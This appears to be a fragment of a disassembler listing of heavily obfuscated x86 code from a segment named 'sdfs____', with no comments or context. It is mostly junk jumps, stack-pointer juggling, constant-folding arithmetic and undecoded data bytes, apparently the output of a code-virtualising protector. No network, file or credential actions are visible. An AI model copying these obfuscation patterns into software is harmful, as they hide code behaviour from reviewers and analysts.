		dd 0C481241Ch, 4, 5C240487h, 53E9F766h,	99968h,	24248900h
		dd 2461E9h, 44A56800h, 2CE90000h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58FD5F:				; CODE XREF: sdfs____:00595338j
		imul	ecx
		push	2A5Ah
		mov	[esp], edx
		push	7F04h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	edi
		push	esi
		push	ebp
		mov	ebp, 28B15E7Ch
		shr	ebp, 5
		sub	ebp, 689545E6h
		jns	loc_591814
		jmp	loc_597B3C
; ---------------------------------------------------------------------------
		dw 433h
		dd 24248B24h, 2424D366h, 0BC23E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FDA2:				; CODE XREF: sdfs____:0058E82Ej
		mov	eax, [esp]
		add	esp, 4
		sub	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_595EF0
; ---------------------------------------------------------------------------


loc_58FDBC:				; CODE XREF: sdfs____:0058BF28j
		push	edx
		push	ecx
		jmp	loc_598AA0
; ---------------------------------------------------------------------------


loc_58FDC3:				; CODE XREF: sdfs____:00597195j
		xor	esi, [esp]
		jmp	loc_591914
; ---------------------------------------------------------------------------


loc_58FDCB:				; CODE XREF: sdfs____:00595135j
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		push	ecx
		mov	ecx, 6E064578h
		mov	ebx, 1A5F7998h
		jmp	loc_592834
; ---------------------------------------------------------------------------


loc_58FDE4:				; CODE XREF: sdfs____:0058D1E5j
		push	ecx
		mov	ecx, 4
		sub	eax, ecx
		jmp	loc_59498D
; ---------------------------------------------------------------------------


loc_58FDF1:				; CODE XREF: sdfs____:00591DE1j
		pop	esi
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 70334B4Ah
		and	eax, 6ABC54F4h
		dec	eax
		xor	eax, 3D3A1737h
		add	eax, 22FD6661h
		push	eax
		dec	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 844D9529h
		jmp	loc_5981DC
; ---------------------------------------------------------------------------
aTAPa@ST	db '²ÖÀâ',8,'€Êp€Â@(Ñé¹T',0
		align 4


loc_58FE34:				; CODE XREF: sdfs____:00591BC0j
		pop	dword ptr [esp]
		jmp	loc_598644
; ---------------------------------------------------------------------------


loc_58FE3C:				; CODE XREF: sdfs____:00596797j
		push	ebx
		jmp	loc_59462C
; ---------------------------------------------------------------------------


loc_58FE42:				; CODE XREF: sdfs____:00592F2Fj
		jmp	loc_598D58
; ---------------------------------------------------------------------------


loc_58FE47:				; CODE XREF: sdfs____:0059841Aj
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 1
		sub	eax, 20E7552Ch
		push	esi
		mov	esi, 4415544Dh
		xor	esi, 7F094C29h
		jmp	loc_58C7BA
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFE7E7E9h, 685751FFh, 24C42C3Ch, 0F5CF815Fh, 0E94F090Fh
		dd 819Fh, 0C76E95Bh, 0E0890000h, 0BA685556h, 0E953E807h
		dd 0FFFFD356h
; ---------------------------------------------------------------------------


loc_58FE94:				; CODE XREF: sdfs____:005951C0j
		jmp	loc_595F46
; ---------------------------------------------------------------------------


loc_58FE99:				; CODE XREF: sdfs____:00590E0Bj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_59254A
; ---------------------------------------------------------------------------


loc_58FEA9:				; CODE XREF: sdfs____:0058DE73j
		shr	bl, 6
		add	bl, 4Fh
		sub	al, bl
		jmp	loc_595EAE
; ---------------------------------------------------------------------------


loc_58FEB6:				; CODE XREF: sdfs____:0058C245j
		or	esi, 1D4D46CEh
		add	esi, 9E313CCh
		add	eax, esi
		pop	esi
		jmp	loc_58BBD8
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 525702B6h, 0C281E289h, 4, 0E904EA83h, 54ABh,	68240489h
		dd 50C918BBh, 0E924048Bh, 8E83h, 0FFBAD0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58FEF5:				; CODE XREF: sdfs____:0058DFD4j
		push	edx
		jmp	loc_5934C4
; ---------------------------------------------------------------------------


loc_58FEFB:				; CODE XREF: sdfs____:00591974j
		sub	dh, 0C9h
		jns	loc_59853A
		jmp	loc_5955FA
; ---------------------------------------------------------------------------
		db 5Ah,	56h, 89h
		dd 4C681E6h, 80000000h,	0FEE9F1CFh
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58FF1B:				; CODE XREF: sdfs____:0058D9A8j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		push	3BDAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		jmp	loc_5918F6
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 0FFEA83FFh, 342DC281h, 0D1014C99h, 2BFCE95Ah, 9C500000h
		dd 0FFBA74E9h, 0C880FFFh, 8100005Fh, 0FD13C6C1h, 0F28B0F41h
		dd 57FFFFBBh, 8BE880BFh, 8BF93147h, 0C481243Ch,	4, 13FEC281h
		dd 0CA014D2Fh, 13FEEA81h, 50594D2Fh, 4B8h, 58C20100h, 8B241487h
		dd 2EE92424h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FF97:				; CODE XREF: sdfs____:00590C0Bj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	edx
		jmp	loc_58C119
; ---------------------------------------------------------------------------
		db 1
		dd 0C1BE56F7h, 0E95F9A3Fh, 0FFFFE5E4h, 3F9BBE56h, 0CE814425h
		dd 36FF23AEh, 0BF17E94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FFC6:				; CODE XREF: sdfs____:005900DEj
		add	eax, ecx
		pop	ecx
		jmp	loc_592307
; ---------------------------------------------------------------------------
		dw 34FFh
aZs9		db '$Zé9,',0
		db 0
; ---------------------------------------------------------------------------


loc_58FFD7:				; CODE XREF: sdfs____:00593BDBj
		mov	ecx, edx
		pop	edx
		jmp	loc_58BE0D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 9DE92424h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58FFE7:				; CODE XREF: sdfs____:0058C523j
		sub	ecx, edx
		pop	edx
		jmp	loc_597ED4
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh, 24048F58h,	5B54535Ch, 4C381h, 8BE90000h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_590007:				; CODE XREF: sdfs____:0058BB18j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 5Eh
		dd 457AC581h, 66E93917h, 0FFFFFFCAh, 51592434h,	0C181E189h
		dd 4, 8304E983h, 0C8904ECh, 2474FF24h, 48F5904h, 4895C24h
		dd 48B5424h, 4C48124h, 57000000h, 0CE2108BFh, 81D7F710h
		dd 0F61672C7h, 3817E97Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59005E:				; CODE XREF: sdfs____:0058D84Fj
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_597628
; ---------------------------------------------------------------------------


loc_59007E:				; CODE XREF: sdfs____:0059381Ej
		jmp	loc_595E06
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FFF3ACE9h, 42DFFh, 4870000h, 1C895C24h, 3865BB24h
		dd 0E95336A8h, 0FFFFD430h
; ---------------------------------------------------------------------------


loc_5900A0:				; CODE XREF: sdfs____:005904B6j
		mov	eax, [esp]
		add	esp, 4
		add	bl, 90h
		jmp	loc_594E53
; ---------------------------------------------------------------------------


loc_5900B1:				; CODE XREF: sdfs____:0059687Aj
		mov	ebp, 41957042h
		or	edx, ebp
		pop	ebp
		add	edx, 0A2288C96h
		add	eax, edx
		pop	edx
		push	266Fh
		mov	[esp], edi
		push	edx
		jmp	loc_59395D
; ---------------------------------------------------------------------------


loc_5900D0:				; CODE XREF: sdfs____:0058DD6Bj
		inc	cl
		jg	loc_58EA52
		push	dx
		mov	dl, 8Eh
		add	cl, dl
		jmp	loc_58FFC6
; ---------------------------------------------------------------------------
		db 88h
		dd 53C688C4h, 4DFB9BBh,	0E9DE29CCh, 0FFFFDBD9h,	8EDC058h
		dd 0F580C5FEh, 59EE007Ch, 5303E6C0h, 0DBF698B3h, 0D5F6EB86h
		dd 5BE9EB86h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590113:				; CODE XREF: sdfs____:00590E3Aj
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_590BEA
; ---------------------------------------------------------------------------
		dd 6138F381h, 0D82976B6h, 31C3315Bh, 0B887E9C2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59013E:				; CODE XREF: sdfs____:0058DAB8j
					; sdfs____:0058E00Ej
		add	al, dh
		sub	al, 2Fh
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_59205D
; ---------------------------------------------------------------------------
		dw 66E9h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59015F:				; CODE XREF: sdfs____:005937B7j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58DE0B
; ---------------------------------------------------------------------------


loc_59016D:				; CODE XREF: sdfs____:00591D1Aj
		sub	edx, eax
		pop	eax
		mov	ecx, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, 3AE516B9h
		add	ecx, esi
		jmp	loc_592FE8
; ---------------------------------------------------------------------------
		db 89h
		dd 1DBE2434h, 0E947A52Ah, 7EAAh, 90B2525Ah, 885AD028h
		dd 0EEE958C3h, 87000028h, 87D7F7FEh, 599468FEh,	0C890000h
		dd 0DBFFE924h, 77E9FFFFh
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5901C3:				; CODE XREF: sdfs____:00592F84j
		add	dx, 934Ch
		jmp	loc_5907D0
; ---------------------------------------------------------------------------
aNss		db '­Sé|',7,0
		align 4
		dd 0B3B85053h, 350BF101h, 0BF101B1h, 0FFD7E2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5901E5:				; CODE XREF: sdfs____:0058BCA1j
		mov	bh, 0C6h
		mov	ah, 32h
		sub	ah, bh
		pop	ebx
		add	bl, 0C1h
		add	bl, ah
		sub	bl, 0C1h
		pop	ax
		push	3CF1h
		mov	[esp], ecx
		mov	ecx, 3FCh
		add	edi, ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	eax
		jmp	loc_591C9E
; ---------------------------------------------------------------------------


loc_590216:				; CODE XREF: sdfs____:00591841j
		push	1F5Dh
		mov	[esp], ecx
		jmp	loc_592207
; ---------------------------------------------------------------------------
		db 0D2h
		dd 0E99C2404h, 0FFFFB799h, 240C8B66h, 8904EC83h, 0E2892414h
		dd 3BC8BB53h, 0DBF71393h, 8706E3C1h, 1FDFE9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59024A:				; CODE XREF: sdfs____:005911E3j
		add	edi, eax
		pop	eax
		push	ecx
		push	ebp
		mov	ebp, 27F34B6Eh
		dec	ebp
		jmp	loc_5928FE
; ---------------------------------------------------------------------------


loc_59025A:				; CODE XREF: sdfs____:0058EE7Fj
		jmp	loc_593566
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0C1D9F7D9h, 0D9F708E1h, 222DE9h
		db 0
; ---------------------------------------------------------------------------


loc_59026D:				; CODE XREF: sdfs____:0058B9F0j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		jmp	loc_592A6E
; ---------------------------------------------------------------------------
		dd 8340D0F7h, 0B22D01E8h, 21162FDAh, 0E94A58C2h, 4FA9h
		dd 0C15FFD89h, 29E908E5h, 0BD000060h, 0F8B9C9BEh, 0B4E9EB31h
		dd 8B000046h, 70E92424h, 0F7FFFFFDh, 0E99C241Ch, 0FFFFB70Dh
		dd 35F4EE81h, 800F22BCh, 6C7h, 0BDBCE81h, 0EE8147D8h, 59F662B6h
		dd 0CE81D6F7h, 5AD50CE8h, 0E7B8F0Fh, 0C14E0000h, 880F04EEh
		dd 87h,	615C681h, 0F301F240h, 241C875Eh, 0FF24248Bh, 67E92434h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5902FF:				; CODE XREF: sdfs____:00594BE0j
		sub	ebx, edi
		pop	edi
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
		db 0B9h
		dd 67751DF1h, 0E9C1D1F7h, 0F3E18107h, 0E9445D5Ah, 515Ah
; ---------------------------------------------------------------------------


loc_59031C:				; CODE XREF: sdfs____:00591347j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 6ACF4896h
		jmp	loc_592EE1
; ---------------------------------------------------------------------------


loc_59032A:				; CODE XREF: sdfs____:00591C27j
		sub	ebx, 4CC11BFBh
		xchg	ebp, ebx
		jmp	loc_592BCD
; ---------------------------------------------------------------------------
		db 68h
		dd 12A5h, 68241C89h, 2F66h, 24048F54h, 22685750h, 5F302E09h
		dd 3B15E781h, 870F3B5Dh, 1D0h, 1000F781h, 51E90ADFh, 8B000088h
		dd 69E92414h
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59036F:				; CODE XREF: sdfs____:0059747Aj
		jmp	loc_58E690
; ---------------------------------------------------------------------------
		dd 50240C8Bh, 764368h, 24248900h, 4240481h, 8B000000h
		dd 89502404h, 0BE42E9E0h, 489FFFFh, 4EC8324h, 24048F54h
		dd 7515E9h
		db 0
; ---------------------------------------------------------------------------


loc_5903A1:				; CODE XREF: sdfs____:0058F12Fj
		add	esp, 4
		jmp	loc_591029
; ---------------------------------------------------------------------------
aSN		db 9,'ê]é°N',0
		align 4
		dd 58F78D0Fh, 0E6810000h, 13866692h, 1C98E9h, 58060C00h
		dd 0C5AE2D05h, 8E0C14Ch, 2E6EBB53h, 0EB817FDAh,	714925C1h
		dd 4A4F432Dh, 5D8291Bh,	1B4A4F43h, 51241C8Bh, 34E9E189h
		dd 31000086h, 3C33243Ch, 24248B24h, 2404A30Fh, 0B5BFE99Ch
		dd 0EC83FFFFh, 241C8904h, 0BA52E389h, 276E7C24h, 56D2F74Ah
		dd 74109BBEh, 0F6C68125h, 0E97F2252h, 0FFFFFCBFh
; ---------------------------------------------------------------------------


loc_590428:				; CODE XREF: sdfs____:00597A2Dj
		push	edx
		mov	edx, 4A9F3908h
		inc	edx
		xor	edx, 69C45E37h
		sub	eax, edx
		pop	edx
		sub	eax, edx
		push	ebp
		mov	ebp, 235B673Eh
		add	eax, ebp
		pop	ebp
		jmp	loc_58E13B
; ---------------------------------------------------------------------------
		dd 4EC81h, 3C890000h, 0DA2DE924h, 468FFFFh, 58000000h
		dd 4F70ED81h, 0C5013FC2h, 4530BE56h, 0CE812B0Fh, 439615ABh
		dd 1F23E9h
		db 0
; ---------------------------------------------------------------------------


loc_590475:				; CODE XREF: sdfs____:0058EBCAj
		pop	eax
		shl	eax, 5
		jp	loc_598BB3
		jmp	loc_58BB40
; ---------------------------------------------------------------------------
		dd 80E78957h, 5166EDC4h, 0D5F6C588h, 5966E888h,	93341F0Ch
		dd 20C2B652h, 0FCFAE9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5904A2:				; CODE XREF: sdfs____:0058E938j
		sub	bl, ah
		pop	eax
		add	bl, al
		push	small 47A8h
		mov	[esp], cx
		push	eax
		mov	ah, 83h
		mov	ch, 0Fh
		sub	ch, ah
		jmp	loc_5900A0
; ---------------------------------------------------------------------------
		db 33h
		dd 0F4E92434h, 81000072h, 4ECh,	243C8900h, 8712E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5904D2:				; CODE XREF: sdfs____:00593964j
		pop	edx
		add	eax, edi
		jmp	loc_58F9E0
; ---------------------------------------------------------------------------


loc_5904DA:				; CODE XREF: sdfs____:0058F2E9j
		pop	esp
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_592FC8
; ---------------------------------------------------------------------------


loc_5904F8:				; CODE XREF: sdfs____:0058CC46j
		mov	edx, 328701E9h
		xor	ebp, edx
		pop	edx
		mov	eax, ebp
		pop	ebp
		jmp	loc_58CB1F
; ---------------------------------------------------------------------------
		dd 241C8966h, 872C7CB7h, 5BE9F800h, 0B7000079h,	5BFD304Bh
		dd 0F580CDFEh, 5A880F94h, 0E9FFFFC2h, 26BBh, 1000F781h
		dd 870F0ADFh, 2124h, 316BBE56h,	5DE92521h, 0AD000016h
		dd 253268h, 24148900h, 0F4DB951h, 0CA894B8Dh, 0FFBF1CE9h
		dd 87B252FFh, 4CC0E9h
		db 0
; ---------------------------------------------------------------------------


loc_590561:				; CODE XREF: sdfs____:00597AFBj
		push	ebx
		mov	bx, 2E2Ah
		mov	cx, bx
		pop	ebx
		shr	cx, 1
		shl	cx, 3
		sub	cx, 451Ah
		shr	cx, 2
		push	edx
		mov	dx, 2A13h
		push	bx
		mov	bx, 0
		sub	bx, dx
		xchg	bx, dx
		jmp	loc_59085B
; ---------------------------------------------------------------------------
		dd 0E9CFCF80h, 0FFFFBD46h
; ---------------------------------------------------------------------------


loc_590598:				; CODE XREF: sdfs____:0058E9D1j
		pop	edx
		jmp	loc_5949C2
; ---------------------------------------------------------------------------


loc_59059E:				; CODE XREF: sdfs____:0058EB1Ej
		xor	edi, 48773CDAh
		sub	edi, 4DA31667h
		add	ebx, 7EAB3A11h
		add	ebx, edi
		jmp	loc_5949E2
; ---------------------------------------------------------------------------
		db 53h
		dd 2BBh, 5BDA0100h, 4EC81h, 14890000h, 2474FF24h, 48F5A04h
		dd 7FE95C24h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5905D7:				; CODE XREF: sdfs____:005934D2j
		pop	esp
		jmp	loc_590DB9
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aS_5		db '$é',7,'=',0
		align 2
		dw 0C483h
		dd 0E9535104h, 5AACh
; ---------------------------------------------------------------------------


loc_5905F0:				; CODE XREF: sdfs____:00598A9Bj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_596066
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0C4832414h, 5B4EE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59060A:				; CODE XREF: sdfs____:0058DD1Fj
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	745Eh
		mov	[esp], ebp
		push	2000000h
		push	dword ptr [esp]
		pop	ebp
		push	eax
		jmp	loc_58FB66
; ---------------------------------------------------------------------------


loc_590631:				; CODE XREF: sdfs____:0058C73Fj
		dec	ebx
		push	ebp
		mov	ebp, 3FE2375Ah
		jmp	loc_590F59
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 24348B54h, 4C481h, 0EC810000h, 4, 0E9242C89h, 156Dh
		dd 4966E9h, 34E9AC00h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_590663:				; CODE XREF: sdfs____:00596BD9j
					; sdfs____:00598175j
		xchg	ecx, [esp]
		jmp	loc_58F668
; ---------------------------------------------------------------------------


loc_59066B:				; CODE XREF: sdfs____:00598CC3j
		mov	ebx, 683715Bh
		and	edx, ebx
		pop	ebx
		push	eax
		mov	eax, 446561C3h
		or	eax, 61256FB2h
		or	eax, 36BE7731h
		jmp	loc_596850
; ---------------------------------------------------------------------------


loc_590688:				; CODE XREF: sdfs____:0058F75Aj
		and	dx, 14B4h
		push	1CCBh
		mov	[esp], esi
		mov	si, 6FE6h
		jmp	loc_58F134
; ---------------------------------------------------------------------------
		dw 0C628h
		dd 0C6805866h, 0E9F03030h, 0FFFFF922h
; ---------------------------------------------------------------------------


loc_5906AC:				; CODE XREF: sdfs____:00593586j
		dec	dh
		inc	dh
		add	dh, 82h
		dec	dh
		shl	dh, 4
		add	dh, 0C3h
		add	al, dh
		pop	edx
		jmp	loc_594876
; ---------------------------------------------------------------------------


loc_5906C3:				; CODE XREF: sdfs____:0058C3F9j
		jns	loc_591926
		add	ecx, 0E44EF5A4h
		add	esi, ecx
		pop	ecx
		pop	ecx


loc_5906D3:				; CODE XREF: sdfs____:00594296j
		jb	loc_597835
		jmp	loc_58E7A6
; ---------------------------------------------------------------------------


loc_5906DE:				; CODE XREF: sdfs____:005922CFj
		push	dword ptr [esp+4]
		jmp	loc_58CFB1
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC812404h, 4, 54240489h, 0DB7FE958h, 1433FFFFh, 24248B24h
		dd 7788E9h, 0C4835F00h,	4B95104h, 1000000h, 5D39E9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_590716:				; CODE XREF: sdfs____:005954D9j
		push	edi
		jmp	loc_58E0F0
; ---------------------------------------------------------------------------
		dd 24048B66h, 4EC81h, 4890000h,	0E9E08924h, 0FFFFEBDEh
		dd 5306E581h, 56507FC9h, 0FFE597E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59073D:				; CODE XREF: sdfs____:00590AACj
		pop	edx
		add	bl, cl
		jmp	loc_58C7DA
; ---------------------------------------------------------------------------


loc_590745:				; CODE XREF: sdfs____:00593693j
		mov	[esp], edx
		mov	edx, 3EB216A6h
		dec	edx
		push	ebp
		mov	ebp, 62EA029Bh
		sub	edx, ebp
		jmp	loc_595CFD
; ---------------------------------------------------------------------------


loc_59075B:				; CODE XREF: sdfs____:00597E10j
		mov	[esp], ebp
		jmp	loc_59227C
; ---------------------------------------------------------------------------


loc_590763:				; CODE XREF: sdfs____:005943AEj
		add	edi, 4
		jmp	loc_595C68
; ---------------------------------------------------------------------------


loc_59076E:				; CODE XREF: sdfs____:00596B5Fj
		sub	ebp, 51DB2AECh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		jmp	loc_596856
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 4BDh, 5DEF2900h, 0FFE41EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5907B1:				; CODE XREF: sdfs____:005987B1j
		add	esi, ebx
		pop	ebx
		sub	esi, 0FA80AA41h
		push	eax
		push	edi
		mov	edi, esi
		mov	eax, edi
		pop	edi
		mov	edi, eax
		pop	eax
		mov	esi, [esp]
		add	esp, 4
		push	edi
		jmp	loc_58C120
; ---------------------------------------------------------------------------


loc_5907D0:				; CODE XREF: sdfs____:005901C8j
		add	cx, dx
		jmp	loc_591D1F
; ---------------------------------------------------------------------------


loc_5907D8:				; CODE XREF: sdfs____:00594153j
		add	edx, 47A04CCDh
		pop	ecx
		add	eax, edx
		pop	edx
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_5907F6:				; CODE XREF: sdfs____:005930ACj
		sub	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		shl	esi, 6
		shr	esi, 2
		add	esi, 0F18931E4h
		push	ebp
		mov	ebp, esi
		mov	ecx, ebp
		pop	ebp
		pop	esi
		jmp	loc_58BD88
; ---------------------------------------------------------------------------


loc_590819:				; CODE XREF: sdfs____:005944C6j
		mov	esi, 0CD5123h
		not	esi
		dec	esi
		jmp	loc_58BEDD
; ---------------------------------------------------------------------------
		dw 0B60Fh
		dd 8734FFC0h, 0E92434FFh, 761Bh, 54242C89h, 1202E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59083E:				; CODE XREF: sdfs____:00592F59j
		mov	ebx, [esp]
		jmp	loc_58BB38
; ---------------------------------------------------------------------------


loc_590846:				; CODE XREF: sdfs____:0058D561j
		shl	esi, 6
		push	ecx
		mov	ecx, 743E5CDAh
		dec	ecx
		or	ecx, 51960013h
		jmp	loc_58CD51
; ---------------------------------------------------------------------------


loc_59085B:				; CODE XREF: sdfs____:0059058Bj
		pop	bx
		jmp	loc_597D4E
; ---------------------------------------------------------------------------


loc_590862:				; CODE XREF: sdfs____:00590CADj
		pop	esp
		push	ebx
		jmp	loc_58E220
; ---------------------------------------------------------------------------
		dd offset dword_44B1A4+4A45h
		align 2


loc_59086E:				; CODE XREF: sdfs____:00590CBEj
		sub	al, 0F5h
		sub	al, dl
		jmp	loc_592919
; ---------------------------------------------------------------------------
		db 0F7h
		dd 68E9241Ch
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59087F:				; CODE XREF: sdfs____:005948BAj
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_58F967
; ---------------------------------------------------------------------------
aZssV		db '‡ééÙV',0
		db 0
; ---------------------------------------------------------------------------


loc_5908A1:				; CODE XREF: sdfs____:0059091Cj
		not	dword ptr [esp]
		pop	esi
		push	edi
		jmp	loc_595A75
; ---------------------------------------------------------------------------


loc_5908AB:				; CODE XREF: sdfs____:0058C9BDj
					; sdfs____:005982D4j
		pop	esp


loc_5908AC:				; CODE XREF: sdfs____:0058D370j
					; sdfs____:00597D98j
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	67DBh
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		push	3A37h
		jmp	loc_58DEA8
; ---------------------------------------------------------------------------


loc_5908D9:				; CODE XREF: sdfs____:00596266j
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5921FF
; ---------------------------------------------------------------------------
		db 81h
		dd 0C20FFCC3h, 55D30163h, 0C20FFCBDh, 516E963h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_590906:				; CODE XREF: sdfs____:0058DDB3j
					; sdfs____:00593E16j
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_590912:				; CODE XREF: sdfs____:005978B1j
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 12126D99h
		push	esi
		jmp	loc_5908A1
; ---------------------------------------------------------------------------
		db 51h,	50h, 0B8h
		dd 30C113BBh, 0E958C189h, 275Ah, 0EA80DAF6h, 76C4E98Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59093A:				; CODE XREF: sdfs____:00597B57j
					; sdfs____:00598B4Fj
		push	eax
		mov	eax, 0FFFFFFFFh
		add	edx, eax
		jmp	loc_58C310
; ---------------------------------------------------------------------------


loc_590947:				; CODE XREF: sdfs____:0058CA5Aj
		add	esp, 4
		push	esi
		jmp	loc_59836E
; ---------------------------------------------------------------------------
aUx		db '»ÖUx',0
		db 57h,	0BFh, 8
		dd 8147B768h, 0F1505DF7h, 0D7CF8160h, 0E926112Eh, 0FFFFB2A5h
; ---------------------------------------------------------------------------


loc_59096C:				; CODE XREF: sdfs____:00591C2Fj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_595386
; ---------------------------------------------------------------------------
		db 0B8h, 1Dh, 2Eh
		dd 0F5E9163Bh
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59098B:				; CODE XREF: sdfs____:0058D60Bj
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		jmp	loc_58D188
; ---------------------------------------------------------------------------
		dd 53FFC781h, 685E532Fh, 1228h,	0E9243489h, 0E47h, 8B241C33h
		dd 0C6E92424h, 54FFFFB7h, 7071E9h
		db 0
; ---------------------------------------------------------------------------


loc_5909D1:				; CODE XREF: sdfs____:00591629j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_593666
; ---------------------------------------------------------------------------


loc_5909DA:				; CODE XREF: sdfs____:0059629Cj
		add	edi, 8984A838h
		add	ebx, 5AEF3DD8h
		sub	ebx, 5EE97C3Dh
		sub	ebx, edi
		add	ebx, 5EE97C3Dh
		sub	ebx, 5AEF3DD8h
		jmp	loc_58D127
; ---------------------------------------------------------------------------


loc_5909FF:				; CODE XREF: sdfs____:0059490Bj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_590A13:				; CODE XREF: sdfs____:0058D03Ej
		sub	ecx, 44B05316h
		add	ecx, 6B9C5908h
		add	ecx, 3BAC6FB4h
		add	ecx, edx
		jmp	loc_58F845
; ---------------------------------------------------------------------------
		dd 6215C581h, 348B76CBh, 4C48124h, 52000000h, 2BAh, 0E9D50100h
		dd 2C9Fh
; ---------------------------------------------------------------------------


loc_590A48:				; CODE XREF: sdfs____:0059587Bj
		mov	ebp, 499B3341h
		jmp	loc_591475
; ---------------------------------------------------------------------------


